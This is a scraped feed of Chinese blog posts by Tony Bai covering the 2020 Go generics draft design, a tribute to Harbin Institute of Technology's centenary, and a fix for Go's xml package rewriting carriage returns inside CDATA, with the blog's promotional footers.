泛型类型的实例化是必须显式为类型参数传参的，编译器无法自行做类型推导。如果将上面例子中main函数改为如下实现方式：\nfunc main() { var vs = Vector{1, 2, 3, 4, 5} PrintSlice(vs) } 则Go编译器会报如下错误：\ntype checking failed for main prog.go2:15:11: cannot use generic type Vector(type T) without instantiation 这个错误的意思就是：未实例化(instantiation)的泛型类型Vector(type T)无法使用。\n2. 通过扩展了的interface类型对类型参数进行约束和限制 1) 对泛型函数中类型参数的约束与限制 有了泛型函数，我们来实现一个“万能”加法函数：\n// https://go2goplay.golang.org/p/t0vXI6heUrT package main import \u0026quot;fmt\u0026quot; func Add(type T)(a, b T) T { return a + b } func main() { c := Add(5, 6) fmt.Println(c) } 运行上述示例：\ntype checking failed for main prog.go2:6:9: invalid operation: operator + not defined for a (variable of type T) 什么情况！这么简单的一个函数，Go编译器居然报了这个错误：类型参数T未定义“+”这个操作符运算。\n在此版Go泛型设计中，泛型函数只能使用类型参数所能实例化出的任意类型都能支持的操作。比如上述Add函数的类型参数type T没有任何约束，它可以被实例化为任何类型。那么这些实例化后的类型是否都支持“+”操作符运算呢？显然不是。因此，编译器针对示例代码中的第六行报了错！\n对于像上面Add函数那样的没有任何约束的类型参数实例，Go允许对其进行的操作包括：\n声明这些类型的变量； 使用相同类型的值为这些变量赋值； 将这些类型的变量以实参形式传给函数或从作为函数返回值； 取这些变量的地址； 将这些类型的值转换或赋值给interface{}类型变量； 通过类型断言将一个接口值赋值给这类类型的变量； 在type switch块中作为一个case分支； 定义和使用由该类型组成的复合类型，比如：元素类型为该类型的切片； 将该类型传递给一些内置函数，比如new。 那么，我们要让上面的Add函数通过编译器的检查，我们就需要限制其类型参数所能实例化出的类型的范围。比如：仅允许实例化为底层类型(underlying type)为整型类型的类型。上一版Go泛型设计中使用Contract来定义对类型参数的约束，不过由于Contract与interface在概念范畴上有交集，让Gopher们十分困惑，于是在新版泛型设计中，Contract这个关键字被移除了，取而代之的是语法扩展了的interface，即我们使用interface类型来修饰类型参数以实现对其可实例化出的类型集合的约束。我们来看下面例子：\n// https://go2goplay.golang.org/p/kMxZI2vIsk- package main import \u0026quot;fmt\u0026quot; type PlusableInteger interface { type int, int8, int16, int32, int64, uint, uint8, uint16, uint32, uint64 } func Add(type T PlusableInteger)(a, b T) T { return a + b } func main() { c := Add(5, 6) fmt.Println(c) } 运行该示例：\n11 如果我们在main函数中写下如下代码：\nf := Add(3.65, 7.23) fmt.Println(f) 我们将得到如下编译错误：\ntype checking failed for main prog.go2:20:7: float64 does not satisfy PlusableInteger (float64 not found in int, int8, int16, int32, int64, uint, uint8, uint16, uint32, uint64) 我们看到：该提案扩展了interface语法，新增了类型列表(type list)表达方式，专用于对类型参数进行约束。以该示例为例，如果编译器通过类型推导得到的类型在PlusableInteger这个接口定义的类型列表(type list)中，那么编译器将允许这个类型参数实例化；否则就像**Add(3.65, 7.23)**那样，推导出的类型为float64，该类型不在PlusableInteger这个接口定义的类型列表(type list)中，那么类型参数实例化将报错！\n注意：定义中带有类型列表的接口将无法用作接口变量类型，比如下面这个示例：\n// https://go2goplay.golang.org/p/RchnTw73VMo package main type PlusableInteger interface { type int, int8, int16, int32, int64, uint, uint8, uint16, uint32, uint64 } func main() { var n int = 6 var i PlusableInteger i = n _ = i } 编译器会报如下错误：\ntype checking failed for main prog.go2:9:8: interface type for variable cannot contain type constraints (int, int8, int16, int32, int64, uint, uint8, uint16, uint32, uint64) 我们还可以用interface的原生语义对类型参数进行约束，看下面例子：\n// https://go2goplay.golang.org/p/hyTbglTLoIn package main import ( \u0026quot;fmt\u0026quot; \u0026quot;strconv\u0026quot; ) type StringInt int func (i StringInt) String() string { return strconv.Itoa(int(i)) } type Stringer interface { String() string } func Stringify(type T Stringer)(s []T) (ret []string) { for _, v := range s { ret = append(ret, v.String()) } return ret } func main() { fmt.Println(Stringify([]StringInt{1, 2, 3, 4, 5})) } 运行该示例：\n[1 2 3 4 5] 如果我们在main函数中写下如下代码：\nfunc main() { fmt.Println(Stringify([]int{1, 2, 3, 4, 5})) } 那么我们将得到下面的编译器错误输出：\ntype checking failed for main prog.go2:27:2: int does not satisfy Stringer (missing method String) 我们看到：只有实现了Stringer接口的类型才会被允许作为实参传递给Stringify泛型函数的类型参数并成功实例化。\n我们还可以结合interface的类型列表(type list)和方法列表一起对类型参数进行约束，看下面示例：\n// https://go2goplay.golang.org/p/tchwW6mPL7_d package main import ( \u0026quot;fmt\u0026quot; \u0026quot;strconv\u0026quot; ) type StringInt int func (i StringInt) String() string { return strconv.Itoa(int(i)) } type SignedIntStringer interface { type int, int8, int16, int32, int64 String() string } func Stringify(type T SignedIntStringer)(s []T) (ret []string) { for _, v := range s { ret = append(ret, v.String()) } return ret } func main() { fmt.Println(Stringify([]StringInt{1, 2, 3, 4, 5})) } 在该示例中，用于对泛型函数的类型参数进行约束的SignedIntStringer接口既包含了类型列表，也包含方法列表，这样类型参数的实参类型既要在SignedIntStringer的类型列表中，也要实现了SignedIntStringer的String方法。\n如果我们将上面的StringInt的底层类型改为uint：\ntype StringInt uint 那么我们将得到下面的编译器错误输出：\ntype checking failed for main prog.go2:27:14: StringInt does not satisfy SignedIntStringer (uint not found in int, int8, int16, int32, int64) 2) 引入comparable预定义类型约束 由于Go泛型设计选择了不支持运算操作符重载，因此，我们即便对interface做了语法扩展，依然无法表达类型是否支持**==和!=**。为了解决这个表达问题，这份新设计提案中引入了一个新的预定义类型约束：comparable。我们看下面例子：\n// https://go2goplay.golang.org/p/tea39NqwZGC package main import ( \u0026quot;fmt\u0026quot; ) // Index returns the index of x in s, or -1 if not found. func Index(type T comparable)(s []T, x T) int { for i, v := range s { // v and x are type T, which has the comparable // constraint, so we can use == here. if v == x { return i } } return -1 } type Foo struct { a string b int } func main() { fmt.Println(Index([]int{1, 2, 3, 4, 5}, 3)) fmt.Println(Index([]string{\u0026quot;a\u0026quot;, \u0026quot;b\u0026quot;, \u0026quot;c\u0026quot;, \u0026quot;d\u0026quot;, \u0026quot;e\u0026quot;}, \u0026quot;d\u0026quot;)) pos := Index( []Foo{ Foo{\u0026quot;a\u0026quot;, 1}, Foo{\u0026quot;b\u0026quot;, 2}, Foo{\u0026quot;c\u0026quot;, 3}, Foo{\u0026quot;d\u0026quot;, 4}, Foo{\u0026quot;e\u0026quot;, 5}, }, Foo{\u0026quot;b\u0026quot;, 2}) fmt.Println(pos) } 运行该示例：\n2 3 1 我们看到Go的原生支持比较的类型，诸如整型、字符串以及由这些类型组成的复合类型(如结构体)均可以直接作为实参传给由comparable约束的类型参数。comparable可以看成一个由Go编译器特殊处理的、包含由所有内置可比较类型组成的type list的interface类型。我们可以将其嵌入到其他作为约束的接口类型定义中：\ntype ComparableStringer interface { comparable String() string } 只有支持比较的类型且实现了String方法，才能满足ComparableStringer的约束。\n3) 对泛型类型中类型参数的约束 和对泛型函数中类型参数的约束方法一样，我们也可以对泛型类型的类型参数以同样方法做同样的约束，看下面例子：\n// https://go2goplay.golang.org/p/O-YpTcW-tPu // Package set implements sets of any comparable type. package main // Set is a set of values. type Set(type T comparable) map[T]struct{} // Make returns a set of some element type. func Make(type T comparable)() Set(T) { return make(Set(T)) } // Add adds v to the set s. // If v is already in s this has no effect. func (s Set(T)) Add(v T) { s[v] = struct{}{} } // Delete removes v from the set s. // If v is not in s this has no effect. func (s Set(T)) Delete(v T) { delete(s, v) } // Contains reports whether v is in s. func (s Set(T)) Contains(v T) bool { _, ok := s[v] return ok } // Len reports the number of elements in s. func (s Set(T)) Len() int { return len(s) } // Iterate invokes f on each element of s. // It's OK for f to call the Delete method. func (s Set(T)) Iterate(f func(T)) { for v := range s { f(v) } } func main() { s := Make(int)() // Add the value 1,11,111 to the set s. s.Add(1) s.Add(11) s.Add(111) // Check that s does not contain the value 11. if s.Contains(11) { println(\u0026quot;the set contains 11\u0026quot;) } } 运行该示例：\nthe set contains 11 这个示例定义了一个数据结构：Set。该Set中的元素是有约束的：必须支持可比较。对应到代码中，我们用comparable作为泛型类型Set的类型参数的约束。\n4) 关于泛型类型的方法 泛型类型和普通类型一样，也可以定义自己的方法。但泛型类型的方法目前不支持除泛型类型自身的类型参数之外的其他类型参数了。我们看下面例子：\n// https://go2goplay.golang.org/p/JipsxG7jeCN // Package set implements sets of any comparable type. package main // Set is a set of values. type Set(type T comparable) map[T]struct{} // Make returns a set of some element type. func Make(type T comparable)() Set(T) { return make(Set(T)) } // Add adds v to the set s. // If v is already in s this has no effect. func (s Set(T)) Add(v T) { s[v] = struct{}{} } func (s Set(T)) Method1(type P)(v T, p P) { } func main() { s := Make(int)() s.Add(1) s.Method1(10, 20) } 在这个示例中，我们新定义的Method1除了在参数列表中使用泛型类型Set的类型参数T之外，又接受了一个类型参数P。执行该示例：\ntype checking failed for main prog.go2:18:24: methods cannot have type parameters 我们看到编译器给出错误：泛型类型的方法不能再有其他类型参数。目前提案仅是暂时不支持额外的类型参数(如果支持，会让语言规范和实现都变得异常复杂)，Go核心团队也会听取社区反馈的意见，直到大家都认为支持额外类型参数是有必要的，那么后续会重新添加。\n5) type *T Constraint 上面我们一直采用的对类型参数的约束形式是：\ntype T Constraint 假设调用泛型函数时某类型A要作为T的实参传入，A必须实现Constraint(接口)。\n如果我们将上面对类型参数的约束形式改为：\ntype *T Constraint 那么这将意味着类型A要作为T的实参传入，*A必须满足Constraint(接口)。并且Constraint中的所有方法(如果有的话）都仅能通过*A实例调用。我们来看下面示例：\n// https://go2goplay.golang.org/p/g3cwgguCmUo package main import ( \u0026quot;fmt\u0026quot; \u0026quot;strconv\u0026quot; ) type Setter interface { Set(string) } func FromStrings(type *T Setter)(s []string) []T { result := make([]T, len(s)) for i, v := range s { result[i].Set(v) } return result } // Settable is a integer type that can be set from a string. type Settable int // Set sets the value of *p from a string. func (p *Settable) Set(s string) { i, _ := strconv.Atoi(s) // real code should not ignore the error *p = Settable(i) } func main() { nums := FromStrings(Settable)([]string{\u0026quot;1\u0026quot;, \u0026quot;2\u0026quot;}) fmt.Println(nums) } 运行该示例：\n[1 2] 我们看到Settable的方法集合是空的，而*Settable的方法集合(method set)包含了Set方法。因此，*Settable是满足Setter对FromStrings函数的类型参数的约束的。\n而如果我们直接使用type T Setter，那么编译器将给出下面错误：\ntype checking failed for main prog.go2:30:22: Settable does not satisfy Setter (missing method Set) 如果我们使用type T Setter并结合使用FromStrings(*Settable)，那么程序运行会panic。\nhttps://go2goplay.golang.org/p/YLe2d78aSz-\n3. 性能影响 根据这份技术提案中关于泛型函数和泛型类型实现的说明，Go会使用基于接口的方法来编译泛型函数(generic function)，这将优化编译时间，因为该函数仅会被编译一次。但是会有一些运行时代价。\n对于每个类型参数集，泛型类型(generic type)可能会进行多次编译。这将延长编译时间，但是不会产生任何运行时代价。编译器还可以选择使用类似于接口类型的方法来实现泛型类型，使用专用方法访问依赖于类型参数的每个元素。\n4. 小结 Go泛型方案的即将定型即好也不好。Go向来以简洁著称，增加加泛型，无论采用什么技术方案，都会增加Go的复杂性，提升其学习门槛，代码可读性也会下降。但在某些场合(比如实现container数据结构及对应算法库等)，使用泛型却又能简化实现。\n在这份提案中，Go核心团队也给出如下期望：\nWe expect that most packages will not define generic types or functions, but many packages are likely to use generic types or functions defined elsewhere 我们期望大多数软件包不会定义泛型类型或函数，但是许多软件包可能会使用在其他地方定义的泛型类型或函数。 并且提案提到了会在Go标准库中增加一些新包，已实现基于泛型的标准数据结构(slice、map、chan、math、list/ring等)、算法(sort、interator)等，gopher们只需调用这些包提供的API即可。\n另外该提案的一大优点就是与Go1兼容，我们可能永远不会使用Go2这个版本号了。\ngo核心团队提供了可实践该方案语法的playground：https://go2goplay.golang.org/，大家可以一边研读技术提案，一边编写代码进行实验验证。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/06/18/the-go-generics-is-coming-and-supported-in-go-1-17-at-the-earliest/","summary":"\u003cp\u003eGo官博今晨发表了Go核心团队两位大神\u003ca href=\"https://github.com/ianlancetaylor\"\u003eIan Lance Taylor\u003c/a\u003e和Go语言之父之一的\u003ca href=\"https://github.com/griesemer\"\u003eRobert Griesemer\u003c/a\u003e撰写的文章\u003ca href=\"https://blog.golang.org/generics-next-step\"\u003e“The Next Step for Generics”\u003c/a\u003e，该文介绍了Go泛型(Go Generics)的最新进展和未来计划。\u003c/p\u003e","title":"Go泛型真的要来了！最早在Go 1.17版本支持"},{"content":"\n今天是我的母校**哈尔滨工业大学百年校庆的正日子(1920.6.7~2020.6.7)，这里祝亲爱的母校哈工大，100岁生日快乐！**\n图：哈工大百年生日快乐！\n今年春节前，大学班级群里已经开始策划**“百年校庆，重归母校”**的活动了。由于毕业后还没有机会回母校看看，因此我是十分渴望和同窗四年的兄弟姐妹们一起再回母校追寻曾经的大学校园记忆的。\n图：曾经青涩的我们\n但不巧的是，新冠疫情爆发，百年校庆也改为云校庆了。重游母校的愿望泡汤，但这丝毫并不影响我们对母校的祝福！\n图：规格严格，功夫到家\n本周五，我刚刚从校友手中拿到母校寄发过来的百年校庆纪念徽章，十分欢喜，作为哈工大人，我十分自豪。\n图：百年校庆纪念徽章1\n图：百年校庆纪念徽章2\n本想在这里写点关于母校原创的内容，但思来想去发现自己对母校历史和毕业后的学校发展的了解还是十分有限的:(，于是在这里就转发一下来自哈工大官方微博的文章《恢弘百年风华，亲爱的哈工大百岁生日快乐！》，我也和大家一起重温一下百年哈工大的辉煌历程吧!\n一世纪规格功夫, 新百年世界一流 庚子仲夏的明媚阳光里，哈尔滨工业大学迎来了100岁生日。\n一百年风华正茂，一百年春华秋实 从鹏城到威海，再到滔滔的松花江畔，一校三区的哈工大人相聚云端，共祝母校百年华诞。\n百年岁月，梦想起航 1920年，哈尔滨工业大学的前身：哈尔滨中俄工业学校成立，哈工大百年历史从此刻开始。\n新中国成立后，哈工大被国家确定为全国学习国外高等教育办学模式的两所样板大学之一。1954年，哈工大进入国家首批重点建设的6所高校行列。在五十年代，哈工大就以**“工程师的摇篮”**享誉全国。\n这一时期，八百余名平均年龄只有27.5岁的青年教师在祖国建设最困难的时刻，怀揣着炽热的报国之心扎根祖国北疆，肩负起教学与科研任务。\n在艰苦磨练下，老一辈哈工大“八百壮士”用不屈的脊梁和坚韧的信念铸就了百年发展的力量源泉。\n1996年, 哈工大进入国家**“211工程”首批重点建设高校。\n1999年, 被确定为国家“985工程”首批重点建设的9所大学之一。\n2000年, 哈工大与同根同源的哈尔滨建筑大学合并组建新的哈尔滨工业大学**。\n2017年，哈工大入选“双一流”建设A类高校。\n在全国第四轮学科评估中，哈工大共有17个学科位列A类。学科优秀率（A类学科占授权学科的比例）位列全国第六位。A类学科数量位列全国第八位。 工科A类数量位列全国第二位。\n中国第一台会下棋能说话的计算机\n中国第一颗高校牵头自主研制的小卫星\n世界首次人机协同在轨维修技术试验\n世界首次揭示艾滋病病毒毒力因子结构\n国际首次高轨卫星对地高速\n激光双向通信试验\n首创世界最大单口径射电望远镜（天眼）\n主动反射面结构方案\n……\n从中国到世界，一个又一个**“第一”**在这里诞生，在浩瀚的历史画卷上留下哈工大的印记。\n时光荏苒，岁月如歌 一世纪岁月流转, 一百年寒来暑往。\n十秩更替，哈工大校园的春花，夏雨，秋月，冬雪都是不曾令人忘却的好风景。\n初春，幽幽丁香蹁跹入梦，将这最美好的时光定格在脑海。\n盛夏，虫鸣清脆不绝于耳，灼热的阳光勾勒出一方瓦蓝的晴天。\n金秋，秋高气爽惠风和畅，一地黄叶有着说不出的绚烂。\n寒冬，北国冰城万里雪飘，漫天飞雪见证了光阴的变迁。\n哈工大的校园不仅见证了百年时光荏苒，亦见证了军训时青涩的你，不畏酷暑。\n毕业时成熟的你，神采飞扬。\n实验室里通宵达旦的你，秉承规格严格。\n正心楼内刻苦奋进的你，锤炼到家功夫。\n博士生集体婚礼上甜蜜的你，许下爱情的誓言。\n运动会上英姿飒爽的你，顽强拼搏奋勇争先。\n冰雪节上欢乐的你, 用双手雕刻出一朵朵冰花。\n而现在轮到你，见证这所学校的辉煌。\n不忘初心，砥砺奋进 “规格严格，功夫到家”，这略显直白的校训凝聚成哈工大的内在气质，更成为铸就人生规格的一把标尺。\n如果“规格”和“功夫”是哈工大人传承百年的立身之本，那么“一寸丹心惟报国” 是他们熔铸于心的无悔承诺。\n我国第一代核武器型号总设计师俞大光院士，在那个艰难的年代克服重重困难，亲手缔造核弹引爆系统，“点燃”了中国第一颗原子弹，让全世界都为之惊叹。\n“两弹一星”元勋、国家勋章获得者孙家栋院士，作为总设计师亲历了“东方红一号”、“探月工程”、“北斗导航工程” 等重大航天工程，为航天事业无悔奉献。 “国家需要，我就去做”， 他用一生践行了这句对祖国的诺言。\n2018年度国家最高科技奖获得者、两次获得国家技术进步一等奖刘永坦院士，用40年的坚守和专注带出一支驻守北国边疆的“雷达铁军”。耄耋之年，他依旧默默耕耘，是当之无愧的“中国脊梁”。\n中国第一任核潜艇总设计师、中国著名的核动力专家彭士禄院士，身上有股“孺子牛”的犟劲。不做则已，一做到底。从核潜艇到核电站，他一生干的这两件大事都是从零起步，用坚韧的信念书写不平凡的传奇。\n中国绕月探测工程前总指挥 栾恩杰院士\n中国第三任核潜艇总设计师、 中国船舶总体和动力专家 张金麟院士\n中国航空发动机专家、 太行发动机总设计师 张恩和校友\n……\n一个个在历史中闪耀着光辉的名字从这里开始征程。\n建校百年历史里，哈工大为祖国培养了30余万优秀人才。他们或隐姓埋名，或执着耕耘。一生孜孜探索只为祖国更加繁荣昌盛。\n百载光阴流转，不忘峥嵘岁月，风雨兼程。\n铭记责任，竭诚奉献的爱国精神 求真务实，崇尚科学的求是精神 海纳百川，协作攻关的团结精神 自强不息，开拓创新的奋进精神 薪火相传的哈工大精神，在每个哈工大人心中生根发芽!\n如潮思绪，千言万语，都化作对母校最真挚的祝愿：“亲爱的哈工大，100岁生日快乐！”\n注：校庆云直播地址：https://live.bilibili.com/5567237\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/06/07/hit-100-happy-birthday/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/hit-100/hit-100-0.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e今天是我的母校**\u003ca href=\"http://www.hit.edu.cn/\"\u003e哈尔滨工业大学\u003c/a\u003e\u003cstrong\u003e百年校庆的正日子(1920.6.7~2020.6.7)，这里\u003c/strong\u003e祝亲爱的母校哈工大，100岁生日快乐！**\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/hit-100/hit-100-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图：哈工大百年生日快乐！\u003c/p\u003e\n\u003cp\u003e今年春节前，大学班级群里已经开始策划**“百年校庆，重归母校”**的活动了。由于毕业后还没有机会回母校看看，因此我是十分渴望和\u003ca href=\"https://tonybai.com/2013/07/30/recall-my-college-classmates-after-graduating-9-years\"\u003e同窗四年的兄弟姐妹们\u003c/a\u003e一起再回母校追寻曾经的大学校园记忆的。\u003c/p\u003e","title":"亲爱的母校哈工大，100岁生日快乐！"},{"content":"今年4月份，中国移动、中国电信、中国联通三大运营商联合举行线上发布会，发布了《5G消息白皮书》。所谓5G消息，即传统短信消息（仅能进行文本展示）的升级版，是由GSMA组织制定的RCS(Rich Communication Suite)消息规范所定义。2019年RCS UP（unified profile)更新到2.4版本，并成为了5G终端标准的一部分，该版本也是第一个具备商用能力的版本，为5G消息商用奠定了基础。中国移动计划2020.6月末正式实现5G消息的商用，目前已经在浙江和广东建立了两个5G消息的支撑节点（分别由中兴和华为承建）。作为电信移动增值领域的厂商，我方也参与了与浙江节点进行行业5G消息平台(MaaP)联调与应用开发。\n这引子有些长，本文重点不在5G消息，而在于与行业5G消息平台对接时遇到的一个Go xml包的问题，这是记录一下，以供自己备忘，同时也供广大gopher们参考。\n1. 问题现象 行业5G消息使用的通信协议本质上就是xml over http(s)。在http Body的xml中，有一个字段bodyText承载了真正到达5G智能终端上的有效信息载荷，且这个字段是一个CDATA包裹的字段。在我们系统的某个转发流程中，我们解析了从Chatbot(5G行业消息机器人)下发的行业5G消息，但我们发现解析后的bodyText字段中的“\\r\\n”都被转换为“\\n”了。我们用一个例子来直观描述一下该问题：\n// xml-rewrite-carriage-return/test2.go package main import ( \u0026quot;encoding/hex\u0026quot; \u0026quot;encoding/xml\u0026quot; \u0026quot;fmt\u0026quot; ) type DescCDATA struct { Desc string `xml:\u0026quot;,cdata\u0026quot;` } type Person struct { Name string `xml:\u0026quot;name\u0026quot;` Age int `xml:\u0026quot;age\u0026quot;` Desc DescCDATA `xml:\u0026quot;desc\u0026quot;` } var profileFmt = `\u0026lt;person\u0026gt; \u0026lt;name\u0026gt;\u0026quot;tony bai\u0026quot;\u0026lt;/name\u0026gt; \u0026lt;age\u0026gt;33\u0026lt;/age\u0026gt; \u0026lt;desc\u0026gt;\u0026lt;![CDATA[%s]]\u0026gt;\u0026lt;/desc\u0026gt; \u0026lt;/person\u0026gt;` func main() { c := fmt.Sprintf(profileFmt, \u0026quot;hello\\r\\nxml\u0026quot;) var p Person err := xml.Unmarshal([]byte(c), \u0026amp;p) if err != nil { fmt.Println(\u0026quot;unmarshal error:\u0026quot;, err) return } fmt.Println(\u0026quot;unmarshal ok\u0026quot;) fmt.Println(hex.Dump([]byte(\u0026quot;hello\\r\\nxml\u0026quot;))) fmt.Println(hex.Dump([]byte(p.Desc.Desc))) } 运行该例子：\n$go run test2.go unmarshal ok 00000000 68 65 6c 6c 6f 0d 0a 78 6d 6c |hello..xml| 00000000 68 65 6c 6c 6f 0a 78 6d 6c |hello.xml| 这是一个非常简单的xml unmarshal(反序列化)的例子。我们看到反序列化后，结构体desc字段中的内容相比于原始的xml中desc的内容少了一个字符：0x0d，即“\\r”(carriage-return)。我们一直以为针对原xml中CDATA包裹的数据内容，xml包在unmarshal时会原封不动的拷贝下来。为什么”\\r”字符会被删除掉呢？我们接下来找找原因。\n2. 问题原因 Go是开源的编程语言，它最大的优势就是遇到问题后可以直接看Go标准库源码，当然也可以通过调试工具跟踪到标准库源码中。xml包并不复杂，我选择了直接看xml unmarshal代码的方式。在$GOROOT/src/encoding/xml/xml.go(go 1.14版本)中，我们在Decoder的text方法中找到如下几行代码：\n// $GOROOT/src/encoding/xml/xml.go ... ... func (d *Decoder) text(quote int, cdata bool) []byte { ... ... // We must rewrite unescaped \\r and \\r\\n into \\n. if b == '\\r' { d.buf.WriteByte('\\n') } else if b1 == '\\r' \u0026amp;\u0026amp; b == '\\n' { // Skip \\r\\n--we already wrote \\n. } else { d.buf.WriteByte(b) } ... ... } Decoder的text方法是xml unmarshal在解析如下面name字段的值(xxxx)时被调用的：\n\u0026lt;name\u0026gt;xxxx\u0026lt;/name\u0026gt; 这段代码的逻辑是：将xxxx中的\\r重写为\\n，如果存在\\r\\n，则将其重写为\\n。并且无论是否是CDATA字段，这块的逻辑均是生效的。比如我们将上面例子中的desc字段改为非CDATA类型：\n// xml-rewrite-carriage-return/test1.go type Person struct { Name string `xml:\u0026quot;name\u0026quot;` Age int `xml:\u0026quot;age\u0026quot;` Desc string `xml:\u0026quot;desc\u0026quot;` } var profileFmt = `\u0026lt;person\u0026gt; \u0026lt;name\u0026gt;\u0026quot;tony bai\u0026quot;\u0026lt;/name\u0026gt; \u0026lt;age\u0026gt;33\u0026lt;/age\u0026gt; \u0026lt;desc\u0026gt;%s\u0026lt;/desc\u0026gt; \u0026lt;/person\u0026gt;` func main() { c := fmt.Sprintf(profileFmt, \u0026quot;hello\\r\\nxml\u0026quot;) var p Person err := xml.Unmarshal([]byte(c), \u0026amp;p) if err != nil { fmt.Println(\u0026quot;unmarshal error:\u0026quot;, err) return } fmt.Println(\u0026quot;unmarshal ok\u0026quot;) fmt.Println(hex.Dump([]byte(\u0026quot;hello\\r\\nxml\u0026quot;))) fmt.Println(hex.Dump([]byte(p.Desc))) } 该例子的输出：\n$go run test1.go unmarshal ok 00000000 68 65 6c 6c 6f 0d 0a 78 6d 6c |hello..xml| 00000000 68 65 6c 6c 6f 0a 78 6d 6c |hello.xml| 我们看到：非CDATA包裹的数据，其中的”\\r\\n”也被重写为“\\n”了。\n关于这个问题，在Go项目issue中也有人提及：https://github.com/golang/go/issues/24426 。从该issue的讨论中看，Go标准库xml包的实现应该还是参考了xml规范中关于line end的描述的：\nXML parsed entities are often stored in computer files which, for editing convenience, are organized into lines. These lines are typically separated by some combination of the characters CARRIAGE RETURN (#xD) and LINE FEED (#xA). To simplify the tasks of applications, the XML processor must behave as if it normalized all line breaks in external parsed entities (including the document entity) on input, before parsing, by translating both the two-character sequence #xD #xA and any #xD that is not followed by #xA to a single #xA character. 上面的英文规范翻译过来大致是：\nXML解析的实体通常存储在计算机文件中，为了便于编辑，这些文件被组织成多行。 这些行通常由字符回车（#xD）和换行（#xA）的某种组合分隔。 为了简化应用程序的任务（解析回车和换行的组合），在解析之前，XML处理器必须对输入的外部解析实体（包括文档实体）进行转换使其规范化，转换规则是：将两字符序列#xD #xA以及后面未紧跟#xA字符的#xD字符转换为单个的#xA字符。 3. 解决方法 我们的述求就是对CDATA包裹的文本数据中的”\\r\\n”不做“重写”处理。我们采用了下面的方案：clone一份标准库中的xml包，将clone版本放入我们自己的项目路径下，然后在clone版本基础上修改Decoder的text方法的实现：\n// xml-rewrite-carriage-return/xml/xml.go ... ... func (d *Decoder) text(quote int, cdata bool) []byte { ... ... // We must rewrite unescaped \\r and \\r\\n into \\n. // // tonybai change: only rewrite when text is not in CDATA section // (https://github.com/golang/go/issues/24426) if !cdata \u0026amp;\u0026amp; b == '\\r' { d.buf.WriteByte('\\n') } else if !cdata \u0026amp;\u0026amp; b1 == '\\r' \u0026amp;\u0026amp; b == '\\n' { // Skip \\r\\n--we already wrote \\n. } else { d.buf.WriteByte(b) } .... } 改造后的代码仅对非CDATA数据进行\\r\\n的重写，而对于CDATA类型数据，则原封不动的解析出来。我们将test2.go改造成使用我们的clone版本的xml包的示例代码：test3.go：\n// xml-rewrite-carriage-return/test3.go package main import ( \u0026quot;encoding/hex\u0026quot; \u0026quot;github.com/bigwhite/xmltest/xml\u0026quot; \u0026quot;fmt\u0026quot; ) type DescCDATA struct { Desc string `xml:\u0026quot;,cdata\u0026quot;` } type Person struct { Name string `xml:\u0026quot;name\u0026quot;` Age int `xml:\u0026quot;age\u0026quot;` Desc DescCDATA `xml:\u0026quot;desc\u0026quot;` } var profileFmt = `\u0026lt;person\u0026gt; \u0026lt;name\u0026gt;\u0026quot;tony bai\u0026quot;\u0026lt;/name\u0026gt; \u0026lt;age\u0026gt;33\u0026lt;/age\u0026gt; \u0026lt;desc\u0026gt;\u0026lt;![CDATA[%s]]\u0026gt;\u0026lt;/desc\u0026gt; \u0026lt;/person\u0026gt;` func main() { c := fmt.Sprintf(profileFmt, \u0026quot;hello\\r\\nxml\u0026quot;) var p Person err := xml.Unmarshal([]byte(c), \u0026amp;p) if err != nil { fmt.Println(\u0026quot;unmarshal error:\u0026quot;, err) return } fmt.Println(\u0026quot;unmarshal ok\u0026quot;) fmt.Println(hex.Dump([]byte(\u0026quot;hello\\r\\nxml\u0026quot;))) fmt.Println(hex.Dump([]byte(p.Desc.Desc))) } 运行该示例：\n$go run test3.go unmarshal ok 00000000 68 65 6c 6c 6f 0d 0a 78 6d 6c |hello..xml| 00000000 68 65 6c 6c 6f 0d 0a 78 6d 6c |hello..xml| 我们看到这次包裹在CDATA中的\\r\\n没有被重写，我们对xml包的修改是有效的。\n4. 小结 